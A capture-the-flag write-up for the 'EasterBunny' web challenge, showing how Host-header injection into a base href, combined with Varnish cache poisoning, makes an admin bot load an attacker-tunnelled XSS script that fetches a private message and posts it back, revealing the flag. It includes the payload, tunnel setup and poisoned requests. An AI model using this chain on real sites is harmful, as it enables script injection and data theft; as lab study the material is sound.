

EasterBunny

1) We have a injection here

The screenshot shows a network request and response in a browser's developer tools. The request is a GET to `/Letters?id=9`. The response is an HTML page with a title "Write to the Easter Bunny!". The response body contains a `<base href="http://hello:80/static/">` tag, which is highlighted in red. This indicates a successful injection of the base href.

```
router.get("/", (req, res) => {
  return res.render("index.html", {
    cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
  });
});

router.get("/letters", (req, res) => {
  return res.render("viewletters.html", {
    cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
  });
});
```

HTML <base> Tag

[< Previous](#)[Complete HTML Reference](#)[Next >](#)

Example

Specify a default URL and a default target for all links on a page:

```
<head>
  <base href="https://www.w3schools.com/" target="_blank">
</head>

<body>

<a href="tags/tag_base.asp">HTML base Tag</a>
</body>
```

[Try it Yourself »](#)

We can control the static files and load our xss payload and cache it

3) Made payload to get flag

```
vigneswar@VigneswarPC: ~/static
$ cat viewletter.js
fetch("http://127.0.0.1:80/message/3").then((flag) => {
  return flag.text();
}).then((flag) => {
  fetch("http://127.0.0.1:80/submit", {
    "headers": {"content-type": "application/json"},
    "body": flag,
    "method": "POST",
    "mode": "cors",
  });
});

(vigneswar@VigneswarPC)~/static
$ sudo python3 -m http.server -b 0.0.0.0 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

ngrok

Try our new Traffic Inspector: <https://ngrok.com/r/ti>

Session Status online

Account Vigneswar (Plan: Free)

Version 3.10.0

Region India (in)

Latency 98ms

Web Interface <http://127.0.0.1:4040>

Forwarding tcp://0.tcp.in.ngrok.io:10384 -> localhost:80

Connections	t1	opn	rt1	rt5	p50	p90
	10	0	0.00	0.00	0.02	0.14



4) Cache poisoning

```
sub vcl_recv {
  set req.http.X-Forwarded-URL = req.url;
  set req.http.X-Forwarded-Proto = "http";
  if( req.http.host ~ ":[0-9]+" )
  {
    set req.http.X-Forwarded-Port = regsub(req.http.host, ".*:", "");
  }
  else
  {
    set req.http.X-Forwarded-Port = "80";
  }

  if ( !( req.url ~ "^/message" ) ) {
    unset req.http.Cookie;
  }
}
```

```

sub vcl_hash {
    hash_data(req.url);

    if (req.http.host) {
        hash_data(req.http.host);
    } else {
        hash_data(server.ip);
    }

    return (lookup);
}

```

5) Hosted the page

```

** your connection id is 18ccd84e-d58d-40da-bbe1-df8523b013ff, please mention it if you send me a message about an issue. **

authenticated as anonymous user
3b66ce107adb12.lhr.life tunneled with tls termination, https://3b66ce107adb12.lhr.life
create an account and add your key for a longer lasting domain name. see https://localhost.run/docs/forever-free/ for more information.
Open your tunnel address on your mobile with this QR:

```



```

(vigneswar@VigneswarPC)~/static
$ sudo python3 -m http.server -b 0.0.0.0 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

6) Poisoned the cache

Request

Pretty Raw Hex

```

1 GET /letters?id=1 HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
5 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10 X-Forwarded-Host: 3b66ce107adb12.lhr.life
11 Content-Length: 2
12
13

```

Response

Pretty Raw Hex Render

```

1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: text/html; charset=utf-8
4 Content-Length: 2128
5 ETag: W/"850-FTiEO5g2Vgc/cNPZc3uJAiwDEw"
6 Date: Tue, 04 Jun 2024 16:47:43 GMT
7 X-Varnish: 65665 65663
8 Age: 4
9 Via: 1.1 varnish (Varnish/6.1)
10 X-Cache: HIT
11 X-Cache-Hits: 2
12 Accept-Ranges: bytes
13 Connection: close
14
15 <!DOCTYPE html>
16 <html lang="en">
17 <head>
18 <meta charset="UTF-8" />
19 <meta http-equiv="X-UA-Compatible" content="IE=edge" />
20 <meta name="viewport" content="width=device-width, initial-scale=1.0" />
21 <base href="http://3b66ce107adb12.lhr.life:80/static/" />
22 <link rel="preconnect" href="https://fonts.googleapis.com" />
23 <link rel="icon" type="image/x-icon" href="favicon.ico" />
24 <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="" />
25 <link href="https://fonts.googleapis.com/css2?family=Caveat&family=Secular+One&display=swap" rel="stylesheet" />
26 <link href="main.css" rel="stylesheet" />
27 <title>
28 Write to the Easter Bunny!
29 </title>
30 </head>
31 <body>
32
33 <h1 class="title" style="margin: 0">
34 Viewing letter #<span id="letter-id">
35 1
36 </span>
37 </h1>

```

Inspector

Request attributes 2

Request query parameters 1

Request body parameters 0

Request cookies 0

Request headers 9

Response headers 12

7) Triggered bot



```

(vigneswar@VigneswarPC)-[~]
$ sudo python3 -m http.server -b 0.0.0.0 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [04/Jun/2024 22:18:18] "GET /static/viewletter.js HTTP/1.1" 200 -
127.0.0.1 - - [04/Jun/2024 22:18:18] code 404, message File not found
127.0.0.1 - - [04/Jun/2024 22:18:18] "GET /static/queen.svg HTTP/1.1" 404 -
127.0.0.1 - - [04/Jun/2024 22:18:18] code 404, message File not found
127.0.0.1 - - [04/Jun/2024 22:18:18] "GET /static/main.css HTTP/1.1" 404 -

```

8) Got the flag

Request

PrettyRawHex

1 GET /message/19 HTTP/1.1

2 Host: 94.237.63.201:38901

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate, br

7 Referer: http://94.237.63.201:38901/letters?id=18

8 Connection: close

9

10

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK

2 X-Powered-By: Express

3 Content-Type: application/json; charset=utf-8

4 Content-Length: 109

5 ETag: W/"6d-zwLUPvoly8xIA7zTTdLlPPilvI"

6 Date: Tue, 04 Jun 2024 16:48:57 GMT

7 X-Varnish: 65689

8 Age: 0

9 Via: 1.1 varnish (Varnish/6.1)

10 X-Cache: MISS

11 X-Cache-Hits: 0

12 Accept-Ranges: bytes

13 Connection: close

14

15 {

16 "message":

17 "Dear Easter Bunny, Santa's better than you! HfB{7h3_3as7er_bunny_h45_b33n_p0150n3d!}",

18 "count":19

19 }

Inspector

Request attributes2

Request query parameters0

Request body parameters0

Request cookies0

Request headers7

Response headers12

5/5